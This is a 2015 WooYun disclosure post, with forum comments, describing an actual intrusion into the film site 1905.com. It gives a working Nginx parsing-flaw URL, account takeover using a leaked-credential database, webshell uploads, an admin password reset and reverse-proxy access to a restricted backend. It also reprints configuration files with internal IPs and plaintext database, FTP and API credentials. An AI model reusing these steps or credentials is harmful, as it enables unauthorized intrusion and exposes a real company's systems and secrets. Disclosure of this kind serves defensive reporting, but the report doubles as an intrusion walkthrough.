当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165756

漏洞标题:一个充气娃娃引发的1905内网漫游

相关厂商:M1905.COM

漏洞作者: 爱上雨琉璃

提交时间:2015-12-29 15:48

修复时间:2016-01-08 00:50

公开时间:2016-01-08 00:50

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-29: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一个充气娃娃引发的内网漫游,www.1905.com主站shell 11月底就已经拿到了.我就听剑心哥哥的提交了吧.

详细说明:

1.Nginx解析漏洞引发的getshell.
blog.1905.com
home.1905.com 均存在 NGINX解析漏洞.
http://home.1905.com/robots.txt/.php

b68dfb2121304f8dbe94537a61afc15b.jpg


直接注册个会员就打算去上传.结果发现无法上传成功.但是却发现很多用户在一两个小时前都更新过日志和相册发布.可能是新账户要审核还是什么其他的原因吧. 得先弄个账户.
随便找了个用户的UID看下用户名 GO TO 社工库.
2.射工库

d0cc9a2b1e364e54b44f29ee3e288d3f.jpg


62ec3bedb85d402b8aa64d3cd0258faa.jpg


利用此用户上传成功getshell...
http://home.1905.com/attachment/201512/18/4580762_1450417652l9ad.jpg/.php

9949750555bf42a9add2eea958de9802.jpg


3.内网漫游
whoami看了下LINUX版本 2.6.18,试了各种EXP提不起来.顿时裤子就湿了.想着从其他地方下手吧.先看下同服有哪些站点再说。
/usr/local/nginx/conf/nginx.conf
发现www主站有整站备份在这个目录里面.
进去一翻 发现一堆有价值的信息.

<?php
//数据库配置信息
define('CMS_DB_HOST', '172.16.196.243'); //数据库服务器主机地址
define('CMS_DB_USER', 'cms'); //数据库帐号
define('CMS_DB_PW', '1704061891'); //数据库密码
define('CMS_DB_NAME', 'cms'); //数据库名
//从库配置
define('CMS_READDB_HOST_1', '172.16.196.40');
define('CMS_READDB_HOST_2', '172.16.196.40');
define('CMS_READDB_HOST_3', '172.16.196.160');
define('CMS_READDB_HOST_4', '172.16.196.105');
//cron计划数据库部分配置
define('CMS_DB_CRON_HOST', '172.16.196.26'); //数据库服务器主机地址
define('CMS_DB_CRON_NAME', 'cron'); //cron数据库名
define('CMS_DB_CRON_USER', 'cron'); //数据库帐号
define('CMS_DB_CRON_PW', '8dafda47'); //数据库密码
//UC_HOME数据库配置信息
define('CMS_HOME_DB_HOST', '172.16.196.38'); //数据库服务器主机地址
define('CMS_HOME_DB_USER', 'dba'); //数据库帐号
define('CMS_HOME_DB_PW', '@3433!zsa'); //数据库密码
define('CMS_HOME_DB_NAME', 'home'); //数据库名
//MemCache服务器配置
define('CMS_MEMCACHE_HOST', '172.16.196.30'); //MemCache服务器主机
define('CMS_MEMCACHE_PORT', 11211); //MemCache服务器端口
define('CMS_MEMCACHE_HOST1', '172.16.196.27'); //MemCache服务器主机
define('CMS_MEMCACHE_PORT1', 11211); //MemCache服务器端口
define('CMS_MEMCACHE_HOST3', '172.16.196.34'); //MemCache服务器主机
define('CMS_MEMCACHE_PORT3', 11211); //MemCache服务器端口
//TTServer服务器 配置
define('CMS_TTSERVER_HOST', '172.16.196.32'); //TTServer服务器主机
define('CMS_TTSERVER_PORT', 13000); //TTServer服务器端口
//计数器MemCache服务器配置
define('CMS_CNT_MEMCACHE_HOST', '172.16.196.29'); //MemCache服务器主机
define('CMS_CNT_MEMCACHE_PORT', 11211); //MemCache服务器端口
//Ftp相关配置
define('CMS_FTP_HOST', '172.16.196.246'); //Ftp主机
define('CMS_FTP_PORT', '21'); //Ftp端口
define('CMS_FTP_USER', 'nginx'); //Ftp帐号
define('CMS_FTP_PW', 'nginx!1234'); //Ftp密码
define('CMS_FTP_PATH', '/'); //Ftp默认路径
//附件Ftp相关配置
define('CMS_UPLOAD_FTP_ROOT', 'uploadfile/'); //Ftp附件保存物理路径
define('CMS_UPLOAD_FTP_HOST', '172.16.196.39'); //Ftp附件主机
define('CMS_UPLOAD_FTP_PORT', '21'); //Ftp附件端口
define('CMS_UPLOAD_FTP_USER', 'ftp39'); //Ftp附件帐号
define('CMS_UPLOAD_FTP_PW', '123456'); //Ftp附件Ftp密码
define('CMS_UPLOAD_FTP_PATH', '/'); //Ftp附件Ftp默认路径
//guorui pay数据库配置
define('CMS_DB_HOST_PAY', '172.16.196.8'); //数据库服务器主机地址
define('CMS_DB_USER_PAY', 'manage'); //数据库帐号
define('CMS_DB_PW_PAY', 'm1905'); //数据库密码
define('CMS_DB_NAME_PAY', 'hdapp'); //数据库名
//guorui hdapp数据库配置
define('CMS_DB_HOST_HDAPP', '172.16.196.8'); //数据库服务器主机地址
define('CMS_DB_USER_HDAPP', 'manage'); //数据库帐号
define('CMS_DB_PW_HDAPP', 'm1905'); //数据库密码
define('CMS_DB_NAME_HDAPP', 'hdapp'); //数据库名
//guorui MDB 前端读库 数据库配置
define('CMS_DB_HOST_MDBVIEW_1', '172.16.196.160'); //数据库服务器主机地址
define('CMS_DB_USER_MDBVIEW_1', 'cms'); //数据库帐号
define('CMS_DB_PW_MDBVIEW_1', '1704061891'); //数据库密码
define('CMS_DB_NAME_MDBVIEW_1', 'cms'); //数据库名
//guorui MDB 前端读库 数据库配置
define('CMS_DB_HOST_MDBVIEW_2', '172.16.196.160'); //数据库服务器主机地址
define('CMS_DB_USER_MDBVIEW_2', 'cms'); //数据库帐号
define('CMS_DB_PW_MDBVIEW_2', '1704061891'); //数据库密码
define('CMS_DB_NAME_MDBVIEW_2', 'cms'); //数据库名
/**
* 全局主机信息等配置,由运维维护,和开发调用
* hdstore相关项目包括VIP,click,union,kefu 配置项
* @author Gaowenwen
* @version 2014.08.04
*
*/
//SERVER
define('VIP_SITE_URL','http://vip.1905.com');
define('VIP_ADMIN_SITE_URL','http://admin.hdstore.m1905.com');
//DB线上
define('VIP_DB_MYSQL_HOST','172.16.196.8');
define('VIP_DB_MYSQL_PORT','3307');
define('VIP_DB_MYSQL_USER','hdstoreuser');
define('VIP_DB_MYSQL_PWD','hdstorem1905');
define('VIP_DB_MYSQL_DB','hdstore');
define('VIP_DB_MYSQL_DB_PREFIX','hdstore_');
//MEMCACHE
define('VIP_MEM1_HOST','172.16.196.30');
define('VIP_MEM1_PORT','11211');
//FTPSERVER
define('VIP_UPLOAD_FTP_ROOT','uploadfile/');
define('VIP_UPLOAD_FTP_HOST','172.16.196.90');
define('VIP_UPLOAD_FTP_PORT','21');
define('VIP_UPLOAD_FTP_USER','ftpmapps');
define('VIP_UPLOAD_FTP_PW','m1905.com');
define('VIP_UPLOAD_FTP_PATH','mapps/');
define('VIP_UPLOAD_FTP_DOMAIN','http://image12.m1905.cn/mapps/');


<?php
//二次开发新加配置参数
define('HOME_SITEURL', 'http://home.m1905.com/'); //HOME地址
define('UC_SITEURL', 'http://nuc.m1905.com/'); //UC地址
define('BBS_SITEURL', 'http://bbs.m1905.com/'); //论坛地址
define('HTTPCWS_HOST', '172.16.196.30'); //HTTPCWS地址
define('HTTPCWS_PORT', '1985'); //HTTPCWS端口
define('SOLRIK_HOST', 'solr.m1905.com:8080/solr/cms/admin/analysis9.jsp'); //solr地址
define('IMG_REMOTE_SITE', 'http://image11.m1905.cn/'); //独立图片服务器
define('VOD_VIP_SITE', 'http://vip.m1905.com/');
define('HDVOD_HOST','http://highdefinitiontv.m1905.com');
define('RTMP_URL','rtmp://flvsec.vodfile.m1905.com/vod');//防盗链rtmp地址
define("RTMP_KEY",'bTE5MDUuY29t');//base64_encode('m1905.com')
define('HD_URL','http://flvsech.vodfile.m1905.com');//防盗链http地址
define("SecureID","m1905hd");
define('VOD_URL','http://flv.vodfile.m1905.com');//高清影院防盗链http地址
define("VodSecureID","Zmx2LnZvZGZpbGUubTE5MDUuY29t");//base64_encode('flv.vodfile.m1905.com')Zmx2LnZvZGZpbGUubTE5MDUuY29t
define('UCWEB_FILE','http://ucfile.vodfile.m1905.com');
define('MP4_URL','http://mp4mc.vodfile.m1905.com');
$_VOD_LOC_IP['SC'][] = "118.122.85.128/25";
$_VOD_LOC_IP['SC'][] = "118.122.87.0/25";
$_VOD_LOC_IP['SC'][] = "118.122.88.0/24";
$_VOD_LOC_DOMAIN['SC'] = "http://sc.localvod.m1905.com/";
//by zll
define('HOST_NAME','vms.1905.com:14680');
define('API_KEY', 'eee757c123fc1ffb4dbed5adb4e60946');


省略N行. 有了这么多有价值的信息就好办了..先链他数据库看看是什么情况吧.

0df07c0478a1462b98fae3fbe081b03c.jpg


提取出一个管理员账号密码wujie. 备份了下MD5(SLAT).给他强制替换了下密码.
却在登录的时候发现http://www.1905.com/admin.php被NGINX规则给deny了..咋办.
想了半天想起来 PHPCMS_LOG表里面 会记录后台管理员的一些操作日志.里面会记录时间 URL.难道后台ADMIN.PHP是需要VPN访问 或者另有原因?
马上去看下CMS_LOG表 果然 发现每次管理员登录的IP都是固定的.包括编辑.
我注意到了一个细节.

312bcaaa0ac649c29e5b78842cf252b4.jpg


forward=http%3A%2F%2Fwww1.1905.com%2Fadmin.php%3Fmod%3Dphpcms%26file%3Dhtml%26action%3Dcategory&pagesize=50&dosubmit=1&count=1
forward参数是记录提交来源的,现在可以肯定的是 www1.1905.com和www.1905.com一个是后端写入,一个前端读取.显然用的是同一个数据库.www1.1905.com/admin.php直接找不到服务器,应该是做了IP规则屏蔽的.
C:\Users\Administrator>ping www1.1905.com
正在 Ping www1.1905.com [60.28.236.48] 具有 32 字节的数据:
C:\Users\Administrator>ping www.1905.com
正在 Ping m1905.xdwscache.ourglb0.com [61.138.219.87] 具有 32 字节的数据:
知道后台在哪就好办了.但是现在问题又来了.CMS_LOG记录的用户登录IP 全部是同一个来自111.202.9.82 要把这VPN服务器搞下来的话 还是略难啊 至少得花更多的时间.还是从内网直接来吧.用PHP反代访问了下www1.1905.com这个域名 奇迹发生了

6e43a03994a346899614f152d450d48c.jpg


试了admin.php 居然可以访问.果断用修改的管理用户wujie的密码登录.成功了。
到了后台发现反向代理对SCRIPT脚本的支持并不好.各种点击无效.思考了半天,终于找到解决办法.去百度下载了一个PHPCMS V9在本机安装,然后本机复制URL地址+参数到反代上面去访问1905后台,成功拿到一个shell. http://www1.1905.com/lpboke.php 然后利用反代中转连接webshell。

8fb185064c304aebafa36605b1f2daa8.jpg


在www1.1905.com根目录下发现一个缓存更新文件. 看了下代码 是CRON同步CDN节点的一个文件.估计主站就是通过这个文件更新缓存数据的吧.
/data/html/cms/uploadfile/fuck.txt,用反代打开文件直接同步了一下. 10秒钟后访问主站
http://www.1905.com/uploadfile/fuck.txt已经是秒了.正要写shell过去的时候发现失败了.CAT看了下WWW1的NGINX规则,发现主站1905所有子域名的CONF文件都在.主站各种目录下都是DENY..只有一些小目录可以执行PHP,翻了下菜刀里面其他数据库.发现同样方法干掉1905几个后台.
剑心妹妹说 哇 你好帅...

漏洞证明:

9949750555bf42a9add2eea958de9802.jpg


0df07c0478a1462b98fae3fbe081b03c.jpg


312bcaaa0ac649c29e5b78842cf252b4.jpg


6e43a03994a346899614f152d450d48c.jpg


8fb185064c304aebafa36605b1f2daa8.jpg

修复方案:

NGINX解析漏洞 = =!!完爆菊花啊.
数据库全局配置文件不要写在同一台服务器上.后台地址一定要严格访问限制.其他的也没什么了.你比我懂.

版权声明:转载请注明来源 爱上雨琉璃@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-08 00:50

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-12-29 16:00 | 李旭敏 ( 普通白帽子 | Rank:643 漏洞数:93 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    为什么要上雨琉璃?为什么不上平顶山

  2. 2015-12-29 16:04 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2941 漏洞数:581 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    嘿嘿嘿嘿

  3. 2015-12-29 16:08 | 暴走 ( 普通白帽子 | Rank:318 漏洞数:65 | Wooyun的Rank获取如同Dota冲天梯有过之而无...)

    什么是充气娃娃?

  4. 2015-12-29 16:10 | 土夫子 ( 普通白帽子 | Rank:379 漏洞数:71 | 看似山穷水尽,终将柳喑花明)

    为什么要上雨琉璃?为什么不上平顶山

  5. 2015-12-29 16:13 | 爱上雨琉璃 ( 实习白帽子 | Rank:49 漏洞数:8 | 低调点就行了。)

    @李旭敏 你猜

  6. 2015-12-29 16:13 | 爱上雨琉璃 ( 实习白帽子 | Rank:49 漏洞数:8 | 低调点就行了。)

    @爱上平顶山 菊花为你敞开。

  7. 2015-12-29 16:23 | whynot ( 普通白帽子 | Rank:483 漏洞数:94 | 为你解冻冰河 为你放弃世界有何不可)

    围观、、

  8. 2015-12-29 16:24 | DNS ( 普通白帽子 | Rank:636 漏洞数:72 | DNS@伏宸安全团队 root@qisec.co...)

    @爱上平顶山 你让我想到了小哥 嘿嘿嘿

  9. 2015-12-29 16:26 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    思路巨刁啊

  10. 2015-12-29 16:43 | 带我玩 ( 路人 | Rank:14 漏洞数:7 | 带我玩)

    为什么要上雨琉璃?为什么不上平顶山

  11. 2015-12-29 16:55 | 鸟云厂商 认证白帽子 ( 核心白帽子 | Rank:1477 漏洞数:153 )

    超出了我的想象范围

  12. 2015-12-29 17:11 | 诚殷的小白帽 ( 实习白帽子 | Rank:42 漏洞数:24 )

    为什么要上雨琉璃?为什么不上平顶山

  13. 2015-12-31 11:38 | 冰锋刺客 ( 普通白帽子 | Rank:125 漏洞数:19 | 请在监护人陪同下与本人交流)

    嘿嘿嘿

  14. 2016-01-02 17:19 | 大饭刚 ( 实习白帽子 | Rank:72 漏洞数:15 | 吃饭,喝酒,挖洞洞)

    插队